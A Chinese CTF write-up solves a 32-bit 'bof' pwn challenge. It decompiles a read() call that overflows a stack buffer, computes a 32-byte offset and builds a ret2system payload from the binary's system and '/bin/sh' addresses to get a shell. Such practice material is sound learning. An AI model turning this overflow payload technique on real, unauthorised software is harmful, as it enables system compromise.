bof
之前做过这道题,但是没做出来,对于pwn类型的题目还不太熟悉,现在对pwn题有了新的认识和知识,再重新解一下这道题目。
题目描述
题目给了一个文件,在Ubuntu里的命令行里用file,查看一下文件类型,是ELF类型,32位。
题目分析
- 用IDA32位打开文件,反汇编到C代码,可见下边代码
1
2
3
4
5
6
7
8
9ssize_t sub_8048573()
{
char buf; // [sp+Ch] [bp-1Ch]@1
sub_804851B();
sub_804854A();
puts("can you pwn me?");
return read(0, &buf, 0x100u);
}
根据read函数和buf可以知道,产生了栈溢出。
- 查看保护机制
开启了NX保护。 - 计算要覆盖的位数
‘a’*0x1c+’a’*4=32 - 查看程序中是否有’/bin/sh’
存在。 - 查找一下system是否存在,在ida中查找
也存在 - 于是部署栈中的内容
payload = flat(['a'*32,system_plt,'b'*4,binsh_addr])
代码如下:
1 | #!/usr/bin/env python |
- 在Ubuntu里输入命令 python pwn1.py,运行下写的代码,id,获得权限,至此已经成功获得shell。ls获得flag。